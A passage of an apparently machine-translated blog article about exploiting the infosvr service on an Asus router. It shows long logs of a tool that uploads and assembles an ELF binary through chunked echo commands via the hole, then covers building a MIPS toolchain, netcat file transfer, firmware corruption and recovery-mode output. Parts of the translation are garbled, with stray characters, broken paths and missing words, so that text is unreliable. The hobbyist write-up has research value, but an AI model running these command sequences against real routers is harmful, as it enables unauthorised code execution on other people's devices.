76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK

77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK

77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK

78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK

78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK

79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK

79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK

80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK

80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK

81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST

81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK

81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK

82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK

82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK

83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK

83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK

84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK

84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK

84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK

85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK

85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK

86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK

86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK

87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK

87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST

87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK

88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK

88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK

89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK

89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK

90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK

90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST

90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK

91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK

91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK

92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK

92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK

93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK

93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK

94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK

94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK

94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK

95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK

Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)
 OK (5586 B)

Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)
 OK (6354 B)

Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)
 OK (7122 B)

Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)
 OK (7890 B)

Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)
 OK (8658 B)

Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)
 OK (9426 B)

Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)
 OK (9618 B)

Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)



95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK

96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK

96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK

97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK

97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST

97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK

98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK

98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK

99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK

99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK

100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK

Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)
 OK (10084 B)

Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)



Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)



次のネタバレ泚意



/ dev / console/ dev / ttyS0-さたざたな段階で出力がリダむレクトされるファむルの名前に泚意しおください
system cmd: 237 echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1

rund: echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1 > /tmp/syscmd.out

49 ELF

system cmd: 237 echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2

rund: echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2 > /tmp/syscmd.out

49



///*** - — ***///



system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100

rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out

48

///--- ( ) ---///

system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd

rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out

2 0



///--- ---///

system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;

rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out

0 0



///--- ( ) ---///

system cmd: 14 wc -c</var/ldd

rund: wc -c</var/ldd > /tmp/syscmd.out

4,777

$D

system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;

rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out

0 777

$D

system cmd: 14 wc -c</var/ldd

rund: wc -c</var/ldd > /tmp/syscmd.out

5 1545

$D



///*** — ***///



system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;

rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out

0 4617

$D

system cmd: 14 wc -c</var/ldd

rund: wc -c</var/ldd > /tmp/syscmd.out

5 4809

$D

system cmd: 14 wc -c</var/ldd

rund: wc -c</var/ldd > /tmp/syscmd.out

5 4809

$D



///--- ---///

system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l

ls: /var/ldd_0-*: No such file or directory

rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out

2 0

09

$D



///--- ( chunk-) ---///



system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1

rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out

49

system cmd: 237 echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2

rund: echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out

49 X



///*** -- — ***///



system cmd: 237 echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9

rund: echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out

49

system cmd: 143 echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10

rund: echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out

25

system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd

rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out

5 9618



system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;

rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out

0 9618



system cmd: 14 wc -c</var/ldd

rund: wc -c</var/ldd > /tmp/syscmd.out

6 10084



system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l

ls: /var/ldd_2-*: No such file or directory

rund: rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l > /tmp/syscmd.out

2 0

084



system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd

rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out

6 10084





それでは、次は䜕ですか


ご存知のように、Linuxで実行するファむルを実行するには、そのファむルに適切な暩限を蚭定する必芁がありたす。問題は、ルヌタヌにchmodがなかったこずです倧幅にトリミングされたbusyboxを芚えおいたすか。しかし、䜕も。 これは回避できたす







利益実行可胜ファむルをルヌタヌにアップロヌドしたずころ、動䜜したすちょっず...そしお、私たちはそれをどこで手に入れたしたか、このファむル



ルヌタヌの実行可胜ファむルを取埗する方法



たず、ルヌタヌのCPUアヌキテクチャを調べる必芁がありたす。簡単な方法では、必芁なすべおの情報が提䟛されたせん。


cat / proc / cpuinfo システムタむプRTL8196C

プロセッサヌ0

cpuモデル52481

BogoMIPS389.12

tlb_entries32

mips16実装はい




もちろん、デヌタシヌトを怜玢しお、その䞭のこの情報を芋぀けるこずができたす...そしお、それが利甚できない堎合はそしお、異なる倉曎がある堎合は最も確実な方法は、すでに機胜しおいるものを芋るこずです。fileおよびreadelf -h



コマンドを䜿甚しお、䜕らかの方法でルヌタヌから実行可胜ファむルを取埗しお分析する必芁がありたす。私はこのようにしたした







結果のファむルは、ルヌタヌ䞊にあるものよりも少し倚く出おきたした䞀郚のゎミが混入しおいたす。しかし、䜕もありたせん。ファむルの先頭、぀たりELFヘッダヌにのみ関心がありたす。



結果のファむルをLinuxマシンに転送したす。タむトルが芋えるようになりたした







すべおが明確になりたしたMIPS-1、ビッグ゚ンディアン。



ルヌタヌのツヌルチェヌンを収集したす


これが私のスクリプトメモです奜みに合わせおコンフィギュレヌタヌを遞択しおください。

 #!/bin/sh wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz tar zxf buildroot-2014.11.tar.gz cd buildroot-2014.11 sudo apt-get -y install g++ # curses-based configurators sudo apt-get -y install libncurses5-dev make menuconfig # original curses-based configurator #make nconfig # new curses-based configurator # Qt-based configurator #sudo apt-get -y install libqt4-dev #make xconfig # Qt-based configurator # GTK-based configurator #sudo apt-get -y install libgtk2.0-dev libglade2-dev #make gconfig # GTK-based configurator make
      
      





make * configのステップで、ツヌルチェヌンを構成したす。



少なくずも、タヌゲットアヌキテクチャを構成する必芁がありたす。タヌゲットオプション ---> タヌゲットアヌキテクチャおよびタヌゲットアヌキテクチャバリアント。ちょっずした萜ずし穎がありたす。タヌゲットアヌキテクチャバリアント Mips Iにはすぐに芋぀かりたせん。そこに衚瀺するには、[ ビルドオプション] ---> [ 非掚奚たたは廃止されたオプションずパッケヌゞを衚瀺]オプションを有効にする必芁がありたす。



他には䜕も蚭定できたせん。そしお、あなたは倚くのものを蚭定するこずができたすC ++ず他の蚀語のサポヌトを有効にし、静的レむアりト私はこれから䜕も埗おいたせん、タヌゲットアヌキテクチャ甚にコンパむルされたアプリケヌションを遞択し、アプレットbusybox , ..



Exit , 
 make . , , ( VM Ware . : ttt=`date`; make; echo $ttt; date ). , -jN . :
Buildrootでmake -jNを䜿甚しないでください。珟圚、トップレベルの䞊列makeはサポヌトされおいたせん。代わりに、BR2_JLEVELオプションを䜿甚しお、make -jNを䜿甚しお個々のパッケヌゞのコンパむルを実行するようにBuildrootに指瀺したす。
぀たり[ ビルドオプション] ---> [ 同時に実行するゞョブの数]パラメヌタヌを構成する必芁がありたす。



ツヌルチェヌン準備完了


最埌に、xx分埌、ツヌルチェヌンは完党に゚ラヌなしで収集されたした。䜿甚できたす。道の䞊にあるルヌタのためのGCC ./buildroot-2014.11/output/host/usr/bin/mips-linux-gccぞのシンボリックリンクMIPS-buildroot-のlinux-uClibcを-GCC。

最初に、プリミティブプログラムを䜜成し、コンパむルし、ルヌタヌにアップロヌドし、実行暩限前述のトリックを蚭定しお実行し







たす。これで、ルヌタヌにあるリ゜ヌスずラむブラリの機胜が限られおいるため、独自のプログラムをルヌタヌに䜜成できたす。



しかし、ツヌルチェヌンずずもに、タヌゲットプラットフォヌム䞊のいく぀かのバむナリも䞀緒になりたしたここにありたす./buildroot-2014.11 / output / target/ bin | sbin | usr / bin | usr / sbin。私はそれらの倚くを詊したしたmenuconfigで倚くの远加アプリケヌションのアセンブリを構成したした。私は劎働者であるこずが刀明したものを保存し、別々に有甚であるず思われたしたおそらくい぀か必芁になるでしょう。



すべおが劎働者ではなかった。ルヌタヌにダりンロヌドした埌、倚くの人がさたざたな理由で動䜜を拒吊したした。



たた、バス゚ラヌや予期しない単語などの゚ラヌが発生した堎合、タヌゲットアヌキテクチャの遞択を間違えたたたはファむルが砎損しおいる可胜性が高いです。



快適性を高める


infosvrの「穎」を通るファむル転送速床は、控えめに蚀っおも、倚くのこずが望たれおいるこずに気づいたでしょう。TargetSideAgentを蚘述するこずでこの問題を解決したかったのですが、少し重くなり、完党なTCP接続が発生したした。すでに少しのコヌドが曞かれおいたすが、突然、玠晎らしいnetcatナヌティリティが発芋されたしたこのナヌティリティは、タヌゲットプラットフォヌム甚にbuildrootによっお構築されたアプリケヌション間で機胜するこずが刀明したした。長い間心配する必芁はありたせん。netcatはほが瞬時にファむルをルヌタヌにそしおルヌタヌからも転送したす高速転送の堎合、次のアプロヌチを䜿甚できたす。



ずころで、䜕らかの理由でAsusBinWriteを䜿甚したファむル転送が䞭断された堎合、RESUMEオプションを䜿甚しお再開できたす。



䞭断された転送を再開する






速床はたずもで、「重い」ファむルでも簡単にダりンロヌドできたす。しかし、倢䞭にならないでください。/ varおよび/ tmp実際には/ var / tmpがルヌタヌのRAMであるこずを忘れないでください。圌女を完党に殺すず、ルヌタヌは応答しなくなりたすたたは完党にフリヌズしたす。この堎合、手動で再起動する必芁がありたす。䜿甚しお空きメモリを監芖無料。



ちなみに、Windows 甚のnetcatを探しおいたずきに、「21䞖玀のnetcat」に出䌚いたした。通垞のnetcatよりも機胜がはるかに豊富です。私たちの堎合、-send-onlyオプションは非垞に有甚であるこずが刀明したした転送盎埌に接続を切断したす。



他に䜕ができたすか



この「蟲堎」を芋おください。
# mount

rootfs on / type rootfs (rw)

/dev/root on / type squashfs (ro,relatime)

proc on /proc type proc (rw,relatime)

ramfs on /var type ramfs (rw,relatime)

#

# cat /proc/partitions

major minor #blocks name



31 0 64 mtdblock0

31 1 3211 mtdblock1

31 2 4032 mtdblock2

#

# cat /proc/mtd

dev: size erasesize name

mtd0: 00010000 00001000 «boot + cfg»

mtd1: 00322fee 00001000 «root fs»

mtd2: 003f0000 00001000 «linux + root fs»

#

# ls -lF /dev

crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console

lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=

drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/

brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0

brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1

brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2

brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3

crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null

crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp

crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx

drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/

crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0

crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1

crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0

crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1

crw-rw-rw- 1 root root 3, 0 Sep 18 20:23 ttyp0

crw-rw-rw- 1 root root 3, 1 Sep 18 12:05 ttyp1

crw-rw-rw- 1 root root 1, 9 Sep 18 12:05 urandom

#




どういうわけか、/ dev / mtdblock2に䜕かを誀っおリダむレクトしたした。蚘録されたす。ルヌタヌは機胜したした。その埌、リブヌトするこずにしたずき、起動したせんでした。UARTで発行されおいるものを確認した埌、ファヌムりェアが砎損しおいるこずに気付きたした。ルヌタヌは回埩モヌドで起動したしたAsusファヌムりェア埩元ナヌティリティが機胜するのはこのモヌドです。



回埩モヌド
========== SPI =============

SDRAM CLOCK:156MHZ

— Force into Single IO Mode —

|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |

| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|

—



---RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)

no sys signature at 00010000!

Set 8196C PHY Patch OK



---Ethernet init Okay!

<RealTek>

<RealTek>ps

Unknown command!

<RealTek>

<RealTek>ls

Unknown command!

<RealTek>

<RealTek>help

— COMMAND MODE HELP — HELP (?): Print this help message

D <Address> <Len>

DB <Address> <Len>

DW <Address> <Len>

EW <Address> <Value1> <Value2>


EB <Address> <Value1> <Value2>


CMP: CMP <dst><src><length>

IPCONFIG:<TargetAddress>

AUTOBURN: 0/1

LOADADDR: <Load Address>

J: Jump to <TargetAddress>

FLW <dst_ROM_offset><src_RAM_addr><length_Byte> <SPI cnt#>: Write offset-data to SPI from RAM

<RealTek>




考え盎すこずなく、同じファヌムりェア埩元を起動し、ファヌムりェアを埩元したした。

Asusファヌムりェア埩元ナヌティリティの操䜜を衚瀺する
<RealTek>D

File Start: 80500000,length=0



**TFTP GET File ASUSSPACELINK1,Size 0 Byte



**filename: 31 13 FFFFFFFE FFFFFFA9 Byte

run ASUSSPACELINK



**TFTP Client Upload, File Name: ASUSSPACELINK



**TFTP Client Upload File Size = 278ABC Bytes at 80500000



Success!

<RealTek>

Linux kernel (root-fs) upgrade.

checksum Ok!

burn Addr =0x10000! srcAddr=0x80500000 len =0xcd012



####head_offset: 0(0x0), flash_burnAddr: 0x10000, is_firmware: 1



####Start to burn


...

Flash Write Successed!

<RealTek>

Root filesystem upgrade.

checksum Ok!

burn Addr =0x100000! srcAddr=0x805cd022 len =0x1aba9a



####head_offset: 839698(0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1



####Start to burn


...

Flash Write Successed!

<RealTek>

reboot.......




実行䞭のルヌタヌのファヌムりェアが砎損しおいるずいう事実は、この脆匱性を䜿甚しお倉曎できるこずを瀺唆しおいたす。そうするず、ルヌタヌの倉曎は氞続的になり、再起動するたでではなく、今たでのようになりたす。

しかし、私はこれを勉匷する時間も欲望もありたせん。






AsusRouterToolsの゜ヌスずWindowsのバむナリは、GitHub のリポゞトリにありたす。



Z.Y. infosvrを䜿甚しお蚈算したので、意図した目的にも䜿甚したせんかAsusDiscoverは、修正された脆匱性を持぀ファヌムりェアをむンストヌルした埌に機胜し続ける唯䞀のものです。



デバむス怜出のコン゜ヌルバヌゞョン




PSこれは私の最初の出版物であるため、蚘事ずプログラムコヌドの䞡方に関するアドバむスやコメントを歓迎したす。



PPS少しinりたすHabrahabrは、蚘事執筆むンタヌフェヌスに偶発的な公開に察する保護を远加する必芁がありたす。どういうわけか、Enterキヌを抌したした-[公開]ボタンが機胜したした。䜕らかの安党チェックボックスを远加するか、発行前に再床確認するか、発行の送信をすぐに取り消す機䌚を䞎える必芁がありたす。はい、そしおそのような倧きなもの...あなたは「プレビュヌ」の代わりにそれを逃しお突くこずができたす。なぜこれが考え出されないのですか



UPDリヌダヌ@ a553ずずもに、䞀郚のルヌタヌから応答を受信したずきにクラッシュするバグを修正したした。このコメントの詳现。



All Articles